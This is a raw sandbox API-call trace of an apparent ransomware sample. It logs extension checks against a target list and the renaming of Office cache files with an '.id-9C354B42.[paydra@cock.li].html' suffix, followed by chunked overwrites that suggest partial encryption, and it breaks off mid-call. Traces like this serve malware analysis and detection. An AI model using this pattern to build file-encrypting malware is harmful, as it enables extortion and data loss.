lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0045.298] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0045.298] lstrlenW (lpString=".1cd") returned 4 [0045.298] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0045.298] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0045.298] lstrlenW (lpString=".jpg") returned 4 [0045.298] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0045.298] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0045.298] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0045.298] lstrlenW (lpString=".doc") returned 4 [0045.298] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0045.298] lstrlenW (lpString=".docx") returned 5 [0045.298] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0045.298] lstrlenW (lpString=".pdf") returned 4 [0045.298] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0045.298] lstrlenW (lpString=".xls") returned 4 [0045.298] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0045.298] lstrlenW (lpString=".xlsx") returned 5 [0045.298] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0045.298] lstrlenW (lpString=".ppt") returned 4 [0045.298] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0045.298] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0045.298] lstrlenW (lpString=".zip") returned 4 [0045.298] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0045.299] lstrlenW (lpString=".rar") returned 4 [0045.299] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0045.299] lstrlenW (lpString=".bz2") returned 4 [0045.299] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0045.299] lstrlenW (lpString=".7z") returned 3 [0045.299] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0045.299] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0045.299] lstrlenW (lpString=".dbf") returned 4 [0045.299] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0045.299] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0045.299] lstrlenW (lpString=".1cd") returned 4 [0045.299] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0045.299] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0045.299] lstrlenW (lpString=".jpg") returned 4 [0045.299] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0045.299] lstrcmpiW (lpString1=".cab", lpString2=".html") returned -1 [0045.299] lstrlenW (lpString="OWOW32WW.cab") returned 12 [0045.299] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0045.299] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=36233052) returned 1 [0045.300] CloseHandle (hObject=0x160) returned 1 [0045.300] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab")) returned 0x2020 [0045.300] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0045.300] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[paydra@cock.li].html")) returned 1 [0045.300] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0045.300] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc6c | out: lpNewFilePointer=0x0) returned 1 [0045.300] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.300] ReadFile (in: hFile=0x160, lpBuffer=0x3b70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b70058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.403] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.403] ReadFile (in: hFile=0x160, lpBuffer=0x3bb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bb0058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.524] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x301fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0045.524] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.525] ReadFile (in: hFile=0x160, lpBuffer=0x3bf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bf0058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.563] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.563] WriteFile (in: hFile=0x160, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x301fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0045.885] SetEndOfFile (hFile=0x160) returned 1 [0045.885] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3f61890 [0045.889] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0045.889] WriteFile (in: hFile=0x160, lpBuffer=0x3f61890*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f61890*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.889] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0045.890] WriteFile (in: hFile=0x160, lpBuffer=0x3f61890*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f61890*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.890] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0045.890] WriteFile (in: hFile=0x160, lpBuffer=0x3f61890*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f61890*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.892] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f61890 | out: hHeap=0x4b0000) returned 1 [0045.892] CloseHandle (hObject=0x160) returned 1 [0045.892] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0045.892] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0045.892] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0045.892] lstrlenW (lpString=".doc") returned 4 [0045.893] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0045.893] lstrlenW (lpString=".docx") returned 5 [0045.893] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0045.893] lstrlenW (lpString=".pdf") returned 4 [0045.893] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0045.893] lstrlenW (lpString=".xls") returned 4 [0045.893] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0045.893] lstrlenW (lpString=".xlsx") returned 5 [0045.893] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0045.893] lstrlenW (lpString=".ppt") returned 4 [0045.893] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0045.893] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0045.893] lstrlenW (lpString=".zip") returned 4 [0045.893] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0045.893] lstrlenW (lpString=".rar") returned 4 [0045.893] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0045.893] lstrlenW (lpString=".bz2") returned 4 [0045.893] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0045.893] lstrlenW (lpString=".7z") returned 3 [0045.893] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0045.893] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0045.893] lstrlenW (lpString=".dbf") returned 4 [0045.893] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0045.893] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0045.893] lstrlenW (lpString=".1cd") returned 4 [0045.893] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0045.893] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0045.893] lstrlenW (lpString=".jpg") returned 4 [0045.893] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0045.893] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0045.894] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0045.894] lstrlenW (lpString=".doc") returned 4 [0045.894] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0045.894] lstrlenW (lpString=".docx") returned 5 [0045.894] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0045.894] lstrlenW (lpString=".pdf") returned 4 [0045.894] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0045.894] lstrlenW (lpString=".xls") returned 4 [0045.894] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0045.894] lstrlenW (lpString=".xlsx") returned 5 [0045.894] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0045.894] lstrlenW (lpString=".ppt") returned 4 [0045.894] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0045.894] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0045.894] lstrlenW (lpString=".zip") returned 4 [0045.894] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0045.894] lstrlenW (lpString=".rar") returned 4 [0045.894] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0045.894] lstrlenW (lpString=".bz2") returned 4 [0045.894] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0045.894] lstrlenW (lpString=".7z") returned 3 [0045.894] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0045.894] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0045.894] lstrlenW (lpString=".dbf") returned 4 [0045.894] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0045.894] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0045.894] lstrlenW (lpString=".1cd") returned 4 [0045.894] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0045.894] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0045.894] lstrlenW (lpString=".jpg") returned 4 [0045.894] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0045.895] lstrcmpiW (lpString1=".cab", lpString2=".html") returned -1 [0045.895] lstrlenW (lpString="ProPrWW.cab") returned 11 [0045.895] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0046.652] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=177720283) returned 1 [0046.652] CloseHandle (hObject=0x198) returned 1 [0046.652] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab")) returned 0x2020 [0046.652] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0046.652] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab.id-9c354b42.[paydra@cock.li].html")) returned 1 [0046.692] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0046.692] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc6c | out: lpNewFilePointer=0x0) returned 1 [0046.692] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0046.692] ReadFile (in: hFile=0x198, lpBuffer=0x3b70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b70058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.696] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x387ee9e, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0046.696] ReadFile (in: hFile=0x198, lpBuffer=0x3bb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bb0058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.739] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x301fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0046.739] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0xa93cbdb, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0046.739] ReadFile (in: hFile=0x198, lpBuffer=0x3bf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bf0058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.109] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.109] WriteFile (in: hFile=0x198, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x301fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0047.209] SetEndOfFile (hFile=0x198) returned 1 [0047.209] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x40038c8 [0047.443] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0047.443] WriteFile (in: hFile=0x198, lpBuffer=0x40038c8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x40038c8*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.444] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x387ee9e, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0047.444] WriteFile (in: hFile=0x198, lpBuffer=0x40038c8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x40038c8*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.445] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0xa93cbdb, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0047.445] WriteFile (in: hFile=0x198, lpBuffer=0x40038c8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x40038c8*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.447] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x40038c8 | out: hHeap=0x4b0000) returned 1 [0047.447] CloseHandle (hObject=0x198) returned 1 [0047.447] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0047.447] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0047.447] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0047.447] lstrlenW (lpString=".doc") returned 4 [0047.447] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0047.447] lstrlenW (lpString=".docx") returned 5 [0047.447] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0047.447] lstrlenW (lpString=".pdf") returned 4 [0047.447] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0047.448] lstrlenW (lpString=".xls") returned 4 [0047.448] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0047.448] lstrlenW (lpString=".xlsx") returned 5 [0047.448] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0047.448] lstrlenW (lpString=".ppt") returned 4 [0047.448] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0047.448] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0047.448] lstrlenW (lpString=".zip") returned 4 [0047.448] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0047.448] lstrlenW (lpString=".rar") returned 4 [0047.448] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0047.448] lstrlenW (lpString=".bz2") returned 4 [0047.448] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0047.448] lstrlenW (lpString=".7z") returned 3 [0047.448] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0047.448] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0047.448] lstrlenW (lpString=".dbf") returned 4 [0047.448] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0047.448] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0047.448] lstrlenW (lpString=".1cd") returned 4 [0047.448] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0047.448] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0047.448] lstrlenW (lpString=".jpg") returned 4 [0047.448] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0047.448] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0047.448] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0047.448] lstrlenW (lpString=".doc") returned 4 [0047.448] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0047.448] lstrlenW (lpString=".docx") returned 5 [0047.448] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0047.448] lstrlenW (lpString=".pdf") returned 4 [0047.449] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0047.449] lstrlenW (lpString=".xls") returned 4 [0047.449] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0047.449] lstrlenW (lpString=".xlsx") returned 5 [0047.449] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0047.449] lstrlenW (lpString=".ppt") returned 4 [0047.449] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0047.449] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0047.449] lstrlenW (lpString=".zip") returned 4 [0047.449] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0047.449] lstrlenW (lpString=".rar") returned 4 [0047.449] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0047.449] lstrlenW (lpString=".bz2") returned 4 [0047.449] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0047.449] lstrlenW (lpString=".7z") returned 3 [0047.449] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0047.449] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0047.449] lstrlenW (lpString=".dbf") returned 4 [0047.449] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0047.449] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0047.449] lstrlenW (lpString=".1cd") returned 4 [0047.449] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0047.449] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0047.449] lstrlenW (lpString=".jpg") returned 4 [0047.449] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0047.449] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1 [0047.449] lstrlenW (lpString="osetup.dll") returned 10 [0047.449] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0047.450] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=7378792) returned 1 [0047.450] CloseHandle (hObject=0x198) returned 1 [0047.450] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll")) returned 0x2020 [0047.450] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0047.450] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[paydra@cock.li].html")) returned 1 [0047.451] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0047.451] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc6c | out: 